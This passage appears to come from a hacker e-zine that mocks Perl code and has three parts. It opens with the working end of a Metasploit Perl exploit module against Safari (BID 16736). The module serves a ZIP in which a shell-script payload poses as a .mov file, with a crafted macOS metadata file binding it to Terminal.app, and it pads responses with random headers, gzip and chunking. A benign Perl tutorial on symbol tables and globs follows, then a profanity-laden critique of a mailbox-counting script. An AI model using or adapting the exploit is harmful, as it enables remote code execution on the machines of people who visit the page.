'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
},
'Payload' =>
{
'Space' => 8000,
'MinNops' => 0,
'MaxNops' => 0,
'Keys' => ['cmd', 'cmd_bash'],
},
'Refs' =>
[
['URL', 'http://www.heise.de/english/newsticker/news/69862'],
['BID', '16736'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ]
],
'Keys' => [ 'safari' ],
'DisclosureDate' => 'Feb 21 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
# stop scrolling and look here!
sub Exploit
{
# alright! past the framework overhead, finally
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
# how about you use that 'or' shit thats all the rage now and save some typing '
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = $self->GetVar('HTTPHOST');
$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;
my $content = $self->CreateZip($shellcode) || return;
# || or its all the same
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");
$fd->Send($self->BuildResponse($content));
select(undef, undef, undef, 0.1);
$fd->Close();
}
sub RandomHeaders {
my $self = shift;
my $head = '';
# undef, bitch
while (length($head) < 3072) {
$head .= "X-" .
Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
}
return $head;
}
sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
$self->RandomHeaders() .
"Content-Type: application/zip\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
# hehe
return (<$rdr>);
}
# Lame!
# agreed!
sub CreateZip {
my $self = shift;
my $cmds = shift;
my $data = $cmds."\n";
my $name = Pex::Text::AlphaNumText(int(rand(10)+4)).".mov";
my $temp = ($ENV{'HOME'} || $RealBin || "/tmp") . "/msf_safari_temp_".Pex::Text::AlphaNumText(16);
if ($self->GotZip != 0) {
$self->PrintLine("[*] Could not execute the zip command (or zip returned an error)");
return;
}
# so now its ! instead of not? make up your mind
if (! mkdir($temp,0755)) {
$self->PrintLine("[*] Could not create a temporary directory: $!");
return;
}
if (! chdir($temp)) {
$self->PrintLine("[*] Could not change into temporary directory: $!");
$self->Nuke($temp);
return;
}
if (! mkdir("$temp/__MACOSX",0755)) {
$self->PrintLine("[*] Could not create the MACOSX temporary directory: $!");
return $self->Nuke($temp);
return;
}
if (! open(TMP, ">$temp/$name")) {
# oh yeah! two argument vulnerable open
$self->PrintLine("[*] Could not create the shell script: $!");
$self->Nuke($temp);
return;
}
print TMP $data;
close(TMP);
# This is important :)
chmod(0755, "$temp/$name");
# For demanding an exhaustive framework and format
# you'd think there'd be some standard enforcement
# on shit like this
if (! open(TMP, ">$temp/__MACOSX/._".$name)) {
$self->PrintLine("[*] Could not create the metafile: $!");
$self->Nuke($temp);
return;
}
print TMP $self->OSXMetaFile;
close(TMP);
system("zip", "exploit.zip", $name, "__MACOSX/._".$name);
# yeah...no.
if( ! open(TMP, "<"."exploit.zip")) {
$self->PrintLine("[*] Failed to create exploit.zip (weird zip command?)");
$self->Nuke($temp);
return;
}
my $xzip;
while (<TMP>) { $xzip .= $_ }
# nasty slurp.
close (TMP);
$self->Nuke($temp);
return $xzip;
}
sub Nuke {
my $self = shift;
my $temp = shift;
system("rm", "-rf", $temp);
# sigh...
return;
}
sub GotZip {
return system("zip -h >/dev/null 2>&1");
# what's this? decided to quote it all at once now?
# be consistent, jerkwad
}
# ok, you of all fuckers need to use the repetition operator
# really, how many nulls is that? COUNT THEM.
# there must be 200 uninterrupted, and then a block twice that
# so FUCK YOU
sub OSXMetaFile {
return
"\x00\x05\x16\x07\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00".
"\x00\x32\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x52\x00\x00".
"\x05\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x01\x00\x00\x00\x05\x08\x00\x00\x04\x08\x00\x00".
"\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x04\x04\x00\x00\x00\x25\x2f\x41\x70\x70\x6c\x69".
"\x63\x61\x74\x69\x6f\x6e\x73\x2f\x55\x74\x69\x6c\x69\x74\x69\x65".
"\x73\x2f\x54\x65\x72\x6d\x69\x6e\x61\x6c\x2e\x61\x70\x70\x00\xec".
"\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
"\xec\xec\xff\xec\xec\xec\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".
"\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".
"\xe1\xe1\xff\xe1\xe1\xe1\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6".
"\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6".
"\xe6\xe6\xff\xe6\xe6\xe6\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9".
"\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9".
"\xe9\xe9\xff\xe9\xe9\xe9\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
"\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
"\xec\xec\xff\xec\xec\xec\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef".
"\xef\xef\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef".
"\xef\xef\xff\xef\xef\xef\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3".
"\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3".
"\xf3\xf3\xff\xf3\xf3\xf3\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6".
"\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6".
"\xf6\xf6\xff\xf6\xf6\xf6\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8".
"\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8".
"\xf8\xf8\xff\xf8\xf8\xf8\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc".
"\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc".
"\xfc\xfc\xff\xfc\xfc\xfc\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00".
"\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00".
"\x00\x00\xa8\x00\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00".
"\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00".
"\x00\x00\x2a\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00".
"\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00".
"\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x05\x08\x00\x00\x04\x08\x00\x00\x00\x32\x00\x5f\xd0\xac\x12\xc2".
"\x00\x00\x00\x1c\x00\x32\x00\x00\x75\x73\x72\x6f\x00\x00\x00\x0a".
"\x00\x00\xff\xff\x00\x00\x00\x00\x01\x0d\x21\x7c";
}
1;
-[0x12] # School You: broquaint ------------------------------------------
Welcome to Of Symbol Tables and Globs where you'll be taken on a
journey through the inner workings of those mysterious perlish
substances: globs and symbol tables. We'll start off in the land of
symbol tables where the globs live and in the second part of the
tutorial progress onto the glob creatures themselves.
Symbol tables
Perl has two different types of variables - lexical and package global.
In this particular tutorial we'll only be covering package global
variables as lexical variables have nothing to do with globs or symbol
tables (see. Lexical scoping like a fox for more information on lexical
variables).
Now a package global variable can only live within a symbol table and
is dynamically scoped (versus lexically scoped). These package global
variables live in symbol tables, or to be more accurate, they live in
slots within globs which themselves live in the symbol tables.
A symbol table comes about in various ways, but the most common way in
which they are created is through the package declaration. Every
variable, subroutine, filehandle and format declared within a package
will live in a glob slot within the given package's symbol table (this
is of course excluding any lexical declarations)
## create an anonymous block to limit the scope of the package
{
package globtut;
$var = "a string";
@var = qw( a list of strings );
sub var { }
}
use Data::Dumper;
print Dumper(\%globtut::);
__output__
$VAR1 = {
'var' => *globtut::var
};
There we create a symbol table with package globtut, then the scalar,
array and subroutine are all 'put' into the *var glob because they all
share the same name. This is implicit behavior for the vars, so if we
wanted to explicitly declare the vars into the globtut symbol table
we'd do the following
$globtut::var = "a string";
@globtut::var = qw( a list of strings );
sub globtut::var { }
use Data::Dumper;
print Dumper(\%globtut::);
__output__
$VAR1 = {
'var' => *globtut::var
};
Notice how we didn't use a package declaration there? This is because
the globtut symbol table is auto-vivified when $globtut::var is
declared.
Something else to note about the symbol table is that it has two colons
appended to the name, so globtut became %globtut::. This means that any
packages that live below that will have :: prepended to the name, so if
we add a child package it would be neatly separated by the double
colons e.g
use Data::Dumper;
{
package globtut;
package globtut::child;
## ^^
}
Another attribute of symbol tables demonstrated when %globtut:: was
dumped above is that they are accessed just like normal perl hashes. In
fact, they are like normal hashes in many respects, you can perform all
the normal hash operations on a symbol table and add normal key-value
pairs, and if you're brave enough to look under the hood you'll notice
that
they are in fact hashes, but with a touch of that perl Magic. Here
are some examples of hash operations being used on symbol tables
use Data::Dumper;
{
package globtut;
$foo = "a string";
$globtut::{bar} = "I'm not even a glob!";
%globtut::baz:: = %globtut::;
print Data::Dumper::Dumper(\%globtut::baz::);
print "keys: ", join(', ', keys %globtut::), $/;
print "values: ", join(', ', values %globtut::), $/;
print "each: ", join(' => ', each %globtut::), $/;
print "exists: ", (exists $globtut::{foo} && "exists"), $/;
print "delete: ", (delete $globtut::{foo} && "deleted"), $/;
print "defined: ", (defined $globtut::{foo} || "no foo"), $/;
}
__output__
$VAR1 = {
'foo' => *globtut::foo,
'bar' => 'I\'m not even a glob!',
'baz::' => *{'globtut::baz::'}
};
keys: foo, bar, baz::
values: *globtut::foo, I'm not even a glob!, *globtut::baz::
each: foo => *globtut::foo
exists: exists
delete: deleted
defined: no foo
So to access the globs within the globtut symbol table we access the
desired key which will correspond to a variable name
{
package globtut;
$variable = "a string";
@variable = qw( a list of strings );
sub variable { }
print $globtut::{variable}, "\n";
}
__output__
*globtut::variable
And if we want to add another glob to a symbol table we add it exactly
like we would with a hash
{
package globtut;
$foo = "a string";
$globtut::{variable} = *foo;
print "\$variable: $variable\n";
}
__output__
$variable: a string
If you'd like to see some more advanced uses of symbol tables and
symbol table manipulation then check out the Symbol module which comes
with the core perl distribution, and more specifically the
Symbol::gensym function.
Globs
So we can now see that globs live within symbol tables, but that
doesn't tell us a lot about globs themselves and so this section of the
tutorial shall endeavour to explain them.
Within a glob are 6 slots where the various perl data types will be
stored. The 6 slots which are available are
SCALAR - scalar variables
ARRAY - array variables
HASH - hash variables
CODE - subroutines
IO - directory/file handles
FORMAT - formats
All these slots are accessible bar the FORMAT slot. Why this is I don't
know, but I don't think it's of any great loss.
It may be asked as to why there isn't a GLOB type, and the answer would
be that globs are containers or meta-types (depending on how you want
to see it) not data types.
Accessing globs is similar to accessing hashes, accept we use the *
sigil and the only keys are those data types listed above
$scalar = "a simple string";
print *scalar{SCALAR}, "\n";
__output__
SCALAR(0x8107e78)
"$Exclamation", you say, "I was expecting 'a simple string', not a
reference!". This is because the slots within the globs only contain
references, and these references point to the values. So what we really
wanted to say was
$scalar = "a simple string";
print ${ *scalar{SCALAR} }, "\n";
__output__
a simple string
Which is essentially just a complex way of saying
$scalar = "a simple string";
print $::scalar, "\n";
__output__
a simple string
So as you can probably guess perl's sigils are the conventional method
of accessing the individual data types within globs. As for the likes
of IO it has to be accessed specifically as perl doesn't provide an
access sigil for it.
Something you may have noticed is that we're referencing the globs
directly, without going through the symbol table. This is because globs
are "global" and are not effected by strict. But if we wanted to access
the globs via the symbol table then we would do it like so
$scalar = "a simple string";
print ${ *{$main::{scalar}}{SCALAR} }, "\n";
__output__
a simple string
Now the devious among you may be thinking something along the lines of
"If it's a hash then why don't I just put any old value in there?". The
answer to this of course, is that you can't as globs aren't hashes! So
we can try, but we will fail like so
${ *scalar{FOO} } = "the FOO data type";
__output__
Can't use an undefined value as a SCALAR reference at - line 1.
So we can't force a new type into the glob, we'll only ever get an
undefined value when an undefined slot is accessed. But if we were to
use SCALAR instead of FOO then the $scalar variable would contain "the
FOO data type".
Another thing to be noted from the above example is that you can't
assign to glob slots directly, only through dereferencing them.
## this is fine as we're dereferencing the stored reference
${ *foo{SCALAR} } = "a string";
## this will generate a compile-time error
*foo{SCALAR} = "a string";
__output__
Can't modify glob elem in scalar assignment at - line 5, near ""a stri
+ng";"
As one might imagine having to dereference a glob with the correct data
every time one wants to assign to a glob can be tedious and
occasionally prohibitive. Thankfully, globs come with some of perl's
yet to be patented Magic, so that when you assign to a glob the correct
slot will be filled depending on the datatype being used in the
assignment e.g
*foo = \"a scalar";
print $foo, "\n";
*foo = [ qw( a list of strings ) ];
print @foo, "\n";
*foo = sub { "a subroutine" };
print foo(), "\n";
__output__
a scalar
alistofstrings
a subroutine
Note that we're using references there as globs only contain
references, not the actual values. If you assign a value to a glob, it
will assign the glob to a glob of the name corresponding to the value.
Here's some code to help clarify that last sentence
use Data::Dumper;
## use a fresh uncluttered package for minimal Dumper output
{
package globtut;
*foo = "string";
print Data::Dumper::Dumper(\%globtut::);
}
__output__
$VAR1 = {
'string' => *globtut::string,
'foo' => *globtut::string
};
So when the glob *foo is assigned "string" it then points to the glob
*string. But this is generally not what you want, so moving on swiftly
...
Bringing it all together
Now that we have some knowledge of symbol tables and globs let's put
them to use by implementing an import method.
When use()ing a module the import method is called from that module.
The purpose of this is so that you can import things into the calling
package. This is what Exporter does, it imports the things listed in
@EXPORT and optionally @EXPORT_OK (see the Exporter docs for more
details). An import method will do this by assigning things to the
caller's symbol table.
We'll now write a very simple import method to import all the
subroutines into the caller's package
## put this code in Foo.pm
package Foo;
use strict;
sub import {
## find out who is calling us
my $pkg = caller;
## while strict doesn't deal with globs, it still
## catches symbolic de/referencing
no strict 'refs';
## iterate through all the globs in the symbol table
foreach my $glob (keys %Foo::) {
## skip anything without a subroutine and 'import'
next if not defined *{$Foo::{$glob}}{CODE}
or $glob eq 'import';
## assign subroutine into caller's package
*{$pkg . "::$glob"} = \&{"Foo::$glob"};
}
}
## this won't be imported ...
$Foo::testsub = "a string";
## ... but this will
sub testsub {
print "this is a testsub from Foo\n";
}
## and so will this
sub fooify {
return join " foo ", @_;
}
q</package Foo>;
Now for the demonstration code
use Data::Dumper;
## we'll stay out of the 'polluted' %main:: symbol table
{
package globtut;
use Foo;
testsub();
print "no \$testsub defined\n"
unless defined $testsub;
print "fooified: ", fooify(qw( ichi ni san shi )), "\n";
print Data::Dumper::Dumper(\%globtut::);
}
__output__
this is a testsub from Foo
no $testsub defined
fooified: ichi foo ni foo san foo shi
$VAR1 = {
'testsub' => *globtut::testsub,
'BEGIN' => *globtut::BEGIN,
'fooify' => *globtut::fooify
};
Hurrah, we have succesfully imported Foo's subroutines into the globtut
symbol table (the BEGIN there is somewhat magical and created during
the use).
Summary
So in summary, symbol tables store globs and can be treated like
hashes. Globs are accessed like hashes and store references to the
individual data types. I hope you've learned something along the way
and can now go forth and munge these two no longer mysterious aspects
of perl with confidence!
-[0x13] # Elementary, Watson ---------------------------------------------
#!/usr/bin/perl
# alright fucker. let's go
use Getopt::Std;
use Date::Manip;
use Mail::MboxParser;
local ($opt_L, $opt_N, $opt_G);
# get rid of local and GET WITH THE TIMES
$VERSION = '2.4.7';
getopts('edshluELNGTHD:m:f:t:v');
if ($opt_d) { $opt_v = 1; }
if ( !($opt_e xor $opt_d xor $opt_s) or $opt_h ) { &usage }
# NO
print "<pre>\n" if ($opt_H);
$opt_t = 'today' unless ($opt_t);
$opt_f = 'Dec 31, 1969' unless ($opt_f);
$date1 = &ParseDate("$opt_f 00:00:00");
# drop the address
$date2 = &ParseDate("$opt_t 23:59:59");
$mailbox = $ARGV[0];
# not here
if ($mailbox =~ /^http\:/) {
print "Using LWP to fect mailbox\n" if ($opt_v);
eval {
if ($mailbox =~ /gz$/) {
$tmpfile = "/tmp/.count" . time . ".gz";
} else {
$tmpfile = "/tmp/.count" . time;
}
use LWP::Simple;
# here? use HERE? is it really worth it?
# why wrap it, you're not doing shit worth
# doing on a fail
mirror($mailbox, $tmpfile);
$tmpbox = 1;
$mailbox = $tmpfile;
# here I was going to say that's stupid
# but you didn't use strict, I don't even
# know where the fuck you use these next
}
}
if ( ! -e $mailbox ) {
print "There appears to be a problem. Mailbox not found\n";
exit;
}
# get your shit in order and keep it clean
if ($mailbox =~ /\.gz$/) {
print "Decompresing mailbox\n" if ($opt_v);
$gzip = `which gunzip 2>/dev/null`;
if ( !$gzip ) {
print "Unable to find gunzip to decompress file.\n" if ($opt_v);
$gzip = `which gzip 2>/dev/null`;
if ( !$gzip ) {
print "Unable to find gzip to decompress file.\n" if ($opt_v);
print "ERROR: Unable to decompress mailbox.\n";
exit;
}
}
chomp $gzip;
`$gzip -d $mailbox`;
$mailbox =~ s/\.gz$//;
}
print "Opening mailbox $mailbox\n" if ($opt_v);
$mbx = Mail::MboxParser->new($mailbox);
$mbx->make_index;
$msgc = 0;
print "Evaluating messages\n" if ($opt_v);
# I bet this label is very necessary
MESSAGE: for $msg ($mbx->get_messages) {
printf STDERR "MSG Num: %6.5d\nMSG Start Pos: %10.10d\n",
$msgc, $mbx->get_pos($msgc) . "\n" if ($opt_D);
my $lines = $new_lines = $html = $toppost = $quotes = $footer = $PGP = $PGPSig = 0;
# what the fuck...
$date = $msg->header->{'date'};
$date3 = &ParseDate($date);
$start = &Date_Cmp($date1,$date3);
$end = &Date_Cmp($date2,$date3);
print STDERR "Date_Cmp: $date1 < $date3 > $date2\n" if ($opt_D > 1);
print STDERR "Date_Cmp: $start <= 0 => $end\n" if ($opt_D > 1);
# drop the parens and put your hands in the air
# you're under arrest for shitty long annoying code
# mock that line, dare ya
if ( $start <= 0 and $end >= 0) {
if ($opt_D > 4) {
$headers = $msg->header;
for $head (sort keys %$headers) {
# ugh
if (@{$msg->header->{$head}}) {
for $value (@{$msg->header->{$head}}) {
print STDERR "HEADER:::$head => $value\n"
}
} else {
print STDERR "HEADER::$head => " . $msg->header->{$head} . "\n"
}
}
print STDERR "-_" x 30 . "\n"
}
my $msgid = $msg->header->{'message-id'};
$msgid =~ s/[\<\>]//g;
my $to = $msg->header->{'to'};
$to =~ s/^[\s\S]*\<([\w\d\-\$\+\.\@\%\]\[]+)\>.*$/$1/;
# what the hell are you doing
$to =~ /^([\w\.\-]+)\@.*\.\w+$/;
my $sto = $1;
# one line it
print STDERR "To: $to ($sto)\n" if ($opt_D > 1);
my $sub = $msg->header->{'subject'};
if ($opt_l and ($sub eq '(no subject)' or $sub eq '') ) { $html++; $bad++ }
# bad++ indeed
print STDERR "Subject: $sub\n" if ($opt_D > 1);
# bad++
my $references = $msg->header->{'references'};
$references =~ s/\s*//g;
$references =~ s/\<([\w\d\-\$\.\@\%\]\[]+)\>/$1\n/g;
# bad++
my $replyto = $msg->header->{'in-reply-to'};
$replyto =~ s/\s*//g;
$replyto =~ s/^\s*\<([\w\d\-\$\.\@\%\]\[]+)\>.*$/$1/;
# bad++
print STDERR "Message-ID: $msgid\n" if ($opt_D > 1);
# bad++
print STDERR "In-Reply-To: $replyto\n" if ($opt_D > 1 and $replyto);
# bad++
print STDERR "References: $references\n" if ($opt_D > 1 and $references);
# bad++
if ( $msgid{$msgid} ) {
print STDERR "Duplicate Message: $msgid\n" if ($opt_D);
# bad++
next;
# bad++
} else {
# bad++
$msgid{$msgid}++;
# bad++
}
$count2++;
# bad++
$email = $msg->from->{'email'};
print STDERR "From: $email\n" if ($opt_D > 1);
# bad++
$email =~ tr/[A-Z]/[a-z]/;
# bad++ never heard of lc
$email =~ s/[\<\>]//g;
# bad++
$email =~ s/ \(.+\)$//g;
# bad++
$email =~ s/^\".+\"//;
# bad++
if ($opt_e) {
$who = $email;
} elsif ($opt_d) {
$email =~ /^[\w\.\-]+\@(.*\.\w+)$/;
# bad++
$who = $1;
# bad++
} elsif ($opt_s) {
$email =~ /^[\w\.\-]+\@.*(\.\w+)$/;
# bad++
$who = $1;
# bad++
}
if (!$who) {
print STDERR "Unable to fine _who_\n" if ($opt_D > 1);
# bad++
print STDERR '-' x 75 . "\n" if ($opt_D);
# bad++
$msgc++;
# bad++ what's with all these variables ++ing all over
next MESSAGE;
# bad++ oh here's where that label comes in handy...
} else {
# bad++
print STDERR "Matched: $who\n" if ($opt_D > 1);
# bad++
}
if (
$msg->header->{'x-originating-ip'}
and
$track{$msg->header->{'x-originating-ip'}}
and
$track{$msg->header->{'x-originating-ip'}} ne $who
) {
# I like it! Cute!
print STDERR "TRACE::" . $track{$msg->header->{'x-originating-ip'}}
. " and $who using " . $msg->header->{'x-originating-ip'} . "\n"
if ($opt_D > 4);
} elsif ($msg->header->{'x-originating-ip'}) {
$track{$msg->header->{'x-originating-ip'}} = $who;
print STDERR "IP::" . $msg->header->{'x-originating-ip'} . " => $who\n"
if ($opt_D > 4);
# lose some CONTROL
}
my $body = $msg->body($msg->find_body);
@msg_body = $body->as_lines;
if ($msg->is_multipart) {
@parts = $msg->parts;
if (@parts and $opt_l) {
print STDERR "Message $count2 has multiple parts\n" if ($opt_D);
print STDERR "Testing message $count2 for 'bad' parts\n" if ($opt_D);
my $i;
PARTS: for $i (0..$#parts) {
# suddenly you care about lexical variables?
# for my $i (0 .. $#parts) {
my $part_type = $parts[$i]->effective_type;
if ($part_type =~ /^text\/html|enriched/i
or $part_type =~ /^image|audio|application\/[^pgp-]/i
) {
print STDERR "MIME-Type: $part_type (*co*loser*ugh*)\n" if ($opt_D > 1);
$html++;
$bad++;
last PARTS;
} else {
print STDERR "MIME-Type: $part_type looks ok\n" if ($opt_D > 1);
}
}
}
}
LINE: for (@msg_body) {
next LINE if ( m/^$/ );
# better ways to check for falseness
